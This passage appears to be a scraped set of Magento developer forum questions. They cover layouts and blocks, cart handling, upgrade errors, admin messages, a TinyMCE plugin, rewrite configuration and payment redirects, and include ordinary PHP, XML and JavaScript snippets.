    <block class="ChennaiBox\Chat\Block\ChatBlock" template="ChennaiBox_Chat::ChatForm.phtml"/>
    </referenceContainer>

  </page>

This is My Block:

 <?php

  namespace ChennaiBox\Chat\Block;
  class ChatBlock extends \Magento\Framework\View\Element\Template
   {

   }

This is Template File:

 <?php?>

Chat

This is my default.xml layout:

  <?xml version="1.0"?>

  <page layout="3columns" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">
    <update handle="default_head_blocks"/>

      <move element="Chat_link" destination="header.links"/>
        <referenceContainer name="header.panel">
        <block class="Magento\Framework\View\Element\Html\Link\Current" name="Chat_link">
            <arguments>
                <argument name="label" xsi:type="string" translate="true">Chat</argument>
                <argument name="path" xsi:type="string">chennaibox/livechat/livechat</argument>
            </arguments>
           </block>
 </referenceContainer>

 </page>

This is my controller:

 <?php

 namespace ChennaiBox\Chat\Controller\LiveChat;
  class LiveChat extends \Magento\Framework\App\Action\Action
   {

 protected $resultPageFactory;

 public function __construct(\Magento\Framework\App\Action\Context $context, \Magento\Framework\View\Result\PageFactory $page)
    {
      parent::__construct($context);
      $this->resultPageFactory = $page;
    }
public function execute()
{
    $resultPage = $this->resultPageFactory->create();
    return $resultPage;

   //echo "This is my test";
}

}

I need to print "Chat"  word in layout, but its only show 1 column layout what i miss. suggest me how to do this...


texts: Magento 1 - sorting cart items by 'updated_at'

texts:
This is how i'm getting the cart items:

$quote = Mage::getModel('checkout/cart')->getQuote();
$items=$quote->getAllitems();

I'd like to do something like this:

$items->sortBy('updated_at','desc');

What is the proper magento way to do this?

I'm tempted to do something like this:

$productArray=array();
foreach($items as $item){
    $product=$item->getProduct();
    array_push($productArray,$product);
}
$productArray = $this->sortArray($productArray);

protected sortArray($productArray){
    ...sort by updated date;
    return $sortedArray
}

However i'd need to created a bunch of dateTime objects in order to easily compare these values and this seems to be a bit of a computationally cumbersome operation.


texts:
I have a title.phtml which loads the page title for the pages in the webshop. What I need to do is detect whether it's a product page or something else...

What is the best way yo do this?

Regards,


texts: After upgrade to Magento 2.3 setup:upgrade fails with sample-data installed

texts:
I've updated two installations from 2.2.6 to 2.3.0 without any problems, but next one makes some trouble.

PHP 7.1.23
2.2.6 with plain sample data (no edits made in backend here)

Steps:

removed sample data from composer.json
updated to 2.3
bin/magento sampledata:deploy
bin/magento setup:upgrade

Quitted with ...

...
Module 'Magento_CatalogSampleData':
Rolled back transaction has not been completed correctly

systeml.xml

main.ERROR: Sample Data error: Unique constraint violation found [] []

When i remove the sample-data setup:upgrade works ... Any ideas?

Edit:

No4, same steps, worked w/o problem ...


texts: how to change magento backend to different ip address

texts:
friends I am struggling with how to change Magento 1 backend to a different IP(other than storefront) address.

Thanks.


texts: Success message not shown after saving a item in magento 2

texts:
I have created a custom admin grid and an associated form in magento 2. While saving a item the success message is not displayed. Do I need any special component in grid to add success message in my save controller Or do I need to inject message manager interface. If this shouldn't be happening please provide me with a solution, thanks
 Save.php

<?php

use X\Y\Model\BannerFactory;

class Save extends \Magento\Backend\App\Action
{

    protected $_model;
    protected $_resultRedirectFactory;
    protected $_authSession;
    public function __construct(
    \Magento\Backend\App\Action\Context $context, BannerFactory $model, \Magento\Backend\Model\View\Result\RedirectFactory $resultRedirectFactory, \Magento\Backend\Model\Auth\Session $authSession
    )
    {
        $this->_model = $model;
        $this->_resultRedirectFactory = $resultRedirectFactory;
        $this->_authSession = $authSession;
        parent::__construct($context);
    }

    public function execute()
    {
        $id = $this->getRequest()->getParam('id');
        try {
            $modelData = $this->_model->create();
            //If gets id loads the model
            if ($id) {
                $modelData = $modelData->load($id);
            }

            $formData = $this->getRequest()->getParam('general');
            $imageData = $this->getRequest()->getParam('upload');

            $user = $this->getCurrentUser();

            if (empty($formData ['id'])) {

                $formData['id'] = null;
                // update the current user name for both created and updated
                $formData['created_by'] = $user;
                $formData['updated_by'] = $user;
            }

            $formData['updated_by'] = $user;
            //For small image
            if (isset($imageData['small_image'])) {
                $formData['small_image'] = $imageData['small_image'][0]['name'];
            }

            //Set all the data in DB from form
            $modelData->setData($formData);
            $modelData->save();
            $this->messageManager->addSuccess(__("Your Slide has been saved !"));
        } catch (Exception $e) {
            $this->messageManager->addError($e->getMessage());
        }
        //Result redirected to index controller
        $resultRedirect = $this->_resultRedirectFactory->create()->setPath('*/*/index');
        return $resultRedirect;
    }

    public function getCurrentUser()
    { //Get the current user name using session
        return $this->_authSession->getUser()->getUsername();
    }

}


texts: Magento 2 - Add spellchecker to tiny mce wysiwyg editor as plugin

texts:
Trying to add the spellchecker to tiny mce in Magento 2 but not able to get it working. As a start I used this tutorial for Magento 1

http://www.danneh.org/2012/10/enabling-spellchecker-magento-wysiwyg-editor/

What I did

Downloaded the spellchecker plugin and added it to /lib/web/tiny_mce/plugins/
Changed the code to add the spellchecker withing vendor/magento/magento2-base/lib/web/mage/adminhtml/wysiwyg/tiny_mce/setup.js (I know do not update magento core but this is my test system and first want to get it working :-) )

Line 77

    var plugins = 'inlinepopups,safari,pagebreak,style,layer,table,advhr,advimage,emotions,iespell,media,searchreplace,contextmenu,paste,directionality,fullscreen,spellchecker,noneditable,visualchars,nonbreaking,xhtmlxtras', //eslint-disable-line

Line 107

 'theme_advanced_buttons3': 'tablecontrols,|,hr,removeformat,visualaid,|,sub,sup,|,charmap,iespell,media,advhr,|,ltr,rtl,|,fullscreen,|,spellchecker', //eslint-disable-line max-len

Then I removed my cache, compiled etc etc, but nothing was added when I check for example a new cms block


texts: How to throw custom exception from cartcontroller?

texts:
public function addAction()
{
    if (!$this->_validateFormKey()) {
        $this->_goBack();
        return;
    }
    $cart   = $this->_getCart();
    $params = $this->getRequest()->getParams();
    $h=1;
    try {
        if($h==1){
            die("here.......");
        }
        if (isset($params['qty'])) {
            $filter = new Zend_Filter_LocalizedToNormalized(
                array('locale' => Mage::app()->getLocale()->getLocaleCode())
            );
            $params['qty'] = $filter->filter($params['qty']);
        }

        $product = $this->_initProduct();
        $related = $this->getRequest()->getParam('related_product');

        /**
         * Check product availability
         */
        if (!$product) {
            $this->_goBack();
            return;
        }

        $cart->addProduct($product, $params);
        if (!empty($related)) {
            $cart->addProductsByIds(explode(',', $related));
        }

        $cart->save();

        $this->_getSession()->setCartWasUpdated(true);

        /**
         * @todo remove wishlist observer processAddToCart
         */
        Mage::dispatchEvent('checkout_cart_add_product_complete',
            array('product' => $product, 'request' => $this->getRequest(), 'response' => $this->getResponse())
        );

        if (!$this->_getSession()->getNoCartRedirect(true)) {
            if (!$cart->getQuote()->getHasError()) {
                $message = $this->__('%s was added to your shopping cart.', Mage::helper('core')->escapeHtml($product->getName()));
                $this->_getSession()->addSuccess($message);
            }
            $this->_goBack();
        }
    } catch (Mage_Core_Exception $e) {
        if ($this->_getSession()->getUseNotice(true)) {
            $this->_getSession()->addNotice(Mage::helper('core')->escapeHtml($e->getMessage()));
        } else {
            $messages = array_unique(explode("\n", $e->getMessage()));
            foreach ($messages as $message) {
                $this->_getSession()->addError(Mage::helper('core')->escapeHtml($message));
            }
        }

        $url = $this->_getSession()->getRedirectUrl(true);
        if ($url) {
            $this->getResponse()->setRedirect($url);
        } else {
            $this->_redirectReferer(Mage::helper('checkout/cart')->getCartUrl());
        }
    } catch (Exception $e) {
        $this->_getSession()->addException($e, $this->__('Cannot add the item to shopping cart.'));
        Mage::logException($e);
        $this->_goBack();
    }
}

  here from the die portion how can i throw my custom exception for a error message?thank you


texts: Magento 2 - How to create a Block for back-end/adminhtml?

texts:
I am using a module like this:

<?xml version="1.0"?>
<page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">
    <referenceContainer name="header.container">
        <container name="header.containertwo" as="header_containertwo" label="Page Header Container"  htmlTag="header" htmlClass="header-mini-container" after="header.panel.wrapper"/>
    </referenceContainer>
<referenceContainer name="header.containertwo">
    <block class="Magento\Framework\View\Element\Template" name="header.mini.container" template="Vendor_Module::test.phtml"/>
</referenceContainer>
</page>

At this point test.phtml is just hard coded content.

test.phtml:

<div>
Content is here but I need to content to be read from a Block created in the back-end instead
</div>

I want to create a block for my test.phtml where i able to read/use my custom block.
How can I create a block for test.phtml.?


texts: magento administrator is not running in ubuntu lamp localhost

texts:
I have just shifted my magento site to ubuntu root from windows xamp. Now some urls like
http://localhost/magento/admin and http://localhost/magento/phones display errors:

The requested URL /magento/admin was not found on this server.

I think mod_rewrite is not working so I did the instructions in this post:

https://askubuntu.com/a/48363/198032

but still I am receiving the same error:


texts: Active tab (redirect to tab on sales order) in grid action Issue

texts:
Active tab (redirect to the tab on sales order) in grid action, not open tab. ajax error "secret key incorrect" but secret key is correct not issue with a secret key.

Tab order_custom is highlighted but ajax return failed

Url which using for ajax request (failed) is using active tab:-

  magento_admin_url/sales/order/commentsHistory/order_id/202/active_tab/order_custom/key/7fc182a189d728b90ededb215fe1592b439d080a02ef7f3ae5c74724946f23fd/?isAjax=true&form_key=OkfJIr1IfRyVKMaA

Response :- You entered an invalid Secret Key. Please refresh the page


texts:
Where is jQuery function written for closing mini cart button in Magento.

I want to implement it while clicking "Continue Shopping" link present in the same mini cart.

Currently my cart fades in and out as per hover effect. I wanna close my cart while clicking that link without affecting the hover action happening now.


texts: Checkout payment preserve data in controller or model

texts:
I'm not pretty sure how to ask.
But I'm gonna describe my scenario.

I'm integrating a new payment module that gets the credit card info and sends it to my bank to do a validation, then the bank return me some values and according to that I have to send it to another validation and after that send it to do the payment.

For the first validation I got the data in my controller with

$this->getRequest()->getPost()

and use it in my model for the first redirect.
And after that I need to use that data again to do another redirect.

So my question is what can I do to preserve some data, is sensitive data like number of the credit card so I can't store it in the database.

Hope to be clear. Thank you.

EDIT:

PaymentController.php

public function redirectvalidationAction(){
        $session = Mage::getSingleton('checkout/session');
        $session->setPayworksQuoteId($session->getQuoteId());

        $payURL = Mage::getModel('payworks/payworkspay')->doValidationCybersource($this->getRequest()->getPost());
        $this->getResponse()->setRedirect($payURL);//*/
    }

    public function responsecybersourceAction()
    {
        $data = $this->getRequest()->getQuery();
        /*This will be the next redirection to the bank*/
        $payURL = Mage::getModel('payworks/payworkspay')->doValidationSecure();
    }

In the Model I set the parameters for the redirection.


texts:
cart is empty after add to cart (in private window working fine) magento 1.9.2 programmatically.

i've used

$cart = Mage::getSingleton('checkout/cart'); //getModel
$cart->init();
$cart->addProduct($product, $qty);  // update session
$session->setCartWasUpdated(true);
$cart->save();
$quote->setIsActive(1);
$quote->collectTotals()->save();
Mage::getSingleton('checkout/session')->setCartWasUpdated(true);